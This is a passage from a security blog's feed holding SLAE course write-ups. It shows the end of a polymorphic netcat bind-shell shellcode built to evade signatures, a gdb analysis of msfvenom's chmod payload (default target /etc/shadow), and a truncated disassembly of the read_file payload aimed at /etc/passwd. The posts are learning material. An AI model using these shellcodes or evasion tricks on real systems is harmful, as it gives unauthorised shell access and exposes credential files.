  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
  
  &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; replace the xor opcode&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;  &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; execve syscall&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;arg1:&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;poptag1&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;string1&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-vp13377&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s assembly, link, and execute:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./compile.sh netcat_bind_polymorphic &amp;amp;&amp;amp; ./netcat_bind_polymorphic&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 13377 ...

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From another shell:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# nc 127.0.0.1 13377&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect it works and our new shellcode is &lt;strong&gt;68 bytes&lt;/strong&gt; long.&lt;br /&gt;
We saw in this article that we can create some polymorphic versions of well known shellcodes in order to bypass the known signatures of these shellcodes.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed this post, see you soon for our last assignment.&lt;br /&gt;
Bye,&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 5.3 - Msfvenom linux/x86/chmod shellcode Analysis</title>
   <link href="https://phackt.org/slae-msf-chmod"/>
   <updated>2017-04-26T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-msf-chmod</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-53&quot;&gt;Assignment 5.3:&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Take up at least 3 linux/x86 shellcodes using Msfpayload (now Msfvenom)&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Present your analysis&lt;/em&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;Here we are for the last shellcode of the msfvenom serie. We will use this time the &lt;strong&gt;linux/x86/chmod&lt;/strong&gt; shellcode and will analyse it thanks to GDB:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/chmod --payload-options&lt;/span&gt;
Options &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;payload/linux/x86/chmod:


       Name: Linux Chmod
       Module: payload/linux/x86/chmod
       Platform: Linux
       Arch: x86
       Needs Admin: No
       Total size: 36
       Rank: Normal

Provided by:
    kris katterjohn &amp;lt;katterjohn@gmail.com&amp;gt;

Basic options:
Name  Current          Setting     Required  Description
&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;    &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
FILE  /etc/shadow      &lt;span class=&quot;nb&quot;&gt;yes         &lt;/span&gt;Filename to &lt;span class=&quot;nb&quot;&gt;chmod
&lt;/span&gt;MODE  0666             &lt;span class=&quot;nb&quot;&gt;yes         &lt;/span&gt;File mode &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;octal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Description:
  Runs &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;on specified file with specified mode
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s generate the ELF:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/chmod FILE=/tmp/slae.txt -f elf -o chmod_slae&lt;/span&gt;
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of elf file: 122 bytes
Saved as: chmod_slae
&lt;span class=&quot;c&quot;&gt;# ls -l /tmp/slae.txt &lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt; 1 root root 0 avril 22 04:54 /tmp/slae.txt
&lt;span class=&quot;c&quot;&gt;# chmod +x ./chmod_slae &amp;amp;&amp;amp; ./chmod_slae&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# ls -l /tmp/slae.txt &lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rw-rw-rw-&lt;/span&gt; 1 root root 0 avril 22 04:54 /tmp/slae.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect we see that our file &lt;strong&gt;/tmp/slae.txt&lt;/strong&gt; has now the octal right &lt;strong&gt;666&lt;/strong&gt; standing for &lt;strong&gt;rw-rw-rw-&lt;/strong&gt;.  Let’s have a look in gdb:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# readelf -h ./chmod_slae
...
Adresse du point d&apos;entrée:    0x8048054 
...
# gdb -q ./chmod_slae 
Reading symbols from ./chmod_slae...(no debugging symbols found)...done.
gdb-peda$ br *0x8048054
Breakpoint 1 at 0x8048054
gdb-peda$ run
gdb-peda$ disas $eip,+38
Dump of assembler code from 0x8048054 to 0x804807a:
=&amp;gt; 0x08048054:	cdq    
   0x08048055:	push   0xf
   0x08048057:	pop    eax
   0x08048058:	push   edx
   0x08048059:	call   0x804806c
   0x0804805e:	das    
   0x0804805f:	je     0x80480ce
   0x08048061:	jo     0x8048092
   0x08048063:	jae    0x80480d1
   0x08048065:	popa   
   0x08048066:	gs cs je 0x80480e2
   0x0804806a:	je     0x804806c
   0x0804806c:	pop    ebx
   0x0804806d:	push   0x1b6
   0x08048072:	pop    ecx
   0x08048073:	int    0x80
   0x08048075:	push   0x1
   0x08048077:	pop    eax
   0x08048078:	int    0x80
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s add some breakpoints on interesting opcodes:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;br &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;0x0804806c
Breakpoint 2 at 0x804806c
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;br &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;0x08048073
Breakpoint 3 at 0x8048073
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;br &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;0x08048078
Breakpoint 4 at 0x8048078
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;c
Continuing.
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0xf 
EBX: 0x0 
ECX: 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xbffff2c8 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x804805e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/tmp/slae.txt&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EIP: 0x804806c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1b6685b
EFLAGS: 0x202 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry parity adjust zero sign &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
   0x8048065:	popa   
   0x8048066:	gs cs je 0x80480e2
   0x804806a:	je     0x804806c
&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 0x804806c:	pop    ebx
   0x804806d:	push   0x1b6
   0x8048072:	pop    ecx
   0x8048073:	int    0x80
   0x8048075:	push   0x1
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xbffff2c8 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x804805e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/tmp/slae.txt&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0004| 0xbffff2cc &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0 
0008| 0xbffff2d0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1 
0012| 0xbffff2d4 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff478 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/root/Documents/pentest/certs/slae/exam/assignment5.3/chmod_slae&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xbffff2d8 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0 
0020| 0xbffff2dc &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff4b9 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;XDG_VTNR=2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0024| 0xbffff2e0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff4c4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;XDG_SESSION_ID=2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0028| 0xbffff2e4 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xbffff4d5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SSH_AGENT_PID=1067&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that we are using &lt;a href=&quot;https://github.com/longld/peda&quot;&gt;gdb-peda&lt;/a&gt;.  Thanks to the call technique the next instruction &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop ebx&lt;/code&gt; will pop the address of the string &lt;em&gt;/tmp/slae&lt;/em&gt; in the EBX register.&lt;/p&gt;

&lt;p&gt;So we will have:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;EAX: 0xf 
EBX: 0x804805e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/tmp/slae.txt&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally if we stop at the address &lt;strong&gt;0x8048073&lt;/strong&gt; just before our syscall:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;EAX: 0xf 
EBX: 0x804805e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/tmp/slae.txt&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ECX: 0x1b6 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int chmod(const char *pathname, mode_t mode);&lt;/code&gt;. The second argument &lt;strong&gt;0x1b6&lt;/strong&gt; is &lt;strong&gt;666&lt;/strong&gt; in octal:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# printf &quot;%o\n&quot; 0x1b6&lt;/span&gt;
666
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s go to the following breakpoint:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;EAX: 0x1 
EBX: 0x804805e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/tmp/slae.txt&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void _exit(int status);&lt;/code&gt;, the exit status is not important in a shellcode execution context, so we won’t add an opcode to set EBX.&lt;/p&gt;

&lt;p&gt;Finally, our shellcode will change the permissions of our file:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;n
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Inferior 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;process 24785&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; exited with code 0136]
Warning: not running or target is remote
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we just finished our msfvenom shellcodes serie. Soon we will deal with polymorphic shellcodes and crypters.&lt;br /&gt;
Hope you enjoyed this post.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 5.2 - Msfvenom linux/x86/read_file shellcode Analysis</title>
   <link href="https://phackt.org/slae-msf-read_file-analysis"/>
   <updated>2017-04-25T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-msf-read_file-analysis</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-52&quot;&gt;Assignment 5.2:&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Take up at least 3 linux/x86 shellcodes using Msfpayload (now Msfvenom)&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Present your analysis&lt;/em&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;Here we are for the second analysis of our msf shellcodes.  Let’s perform the analysis for the &lt;strong&gt;linux/x86/read_file&lt;/strong&gt; shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/read_file --payload-options&lt;/span&gt;
Options &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;payload/linux/x86/read_file:


       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
FD    1                &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The file descriptor to write output to
PATH                   &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The file path to &lt;span class=&quot;nb&quot;&gt;read

&lt;/span&gt;Description:
  Read up to 4096 bytes from the &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;file system and write it back 
  out to the specified file descriptor
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s examine the generated shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/read_file PATH=/etc/passwd -f raw | ndisasm -u -&lt;/span&gt;
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So let’s comment our shellcode instructions:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x38&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; jmp/call/pop technique&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; int open(const char *pathname, int flags);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; pop the @ of the string starting at 0x3D&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; clears out ecx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; open syscall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; file descriptor result of the open syscall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; ssize_t read(int fd, void *buf, size_t count);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; &lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; pointer to a valid stack address&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1000&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; size of buffer that will be read and buffered to the stack&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; read syscall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; result of read and third argument of write function&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; ssize_t write(int fd, const void *buf, size_t count);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; standard output / ebx is still pointing to the buffer on stack&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; write syscall&lt;/span&gt;
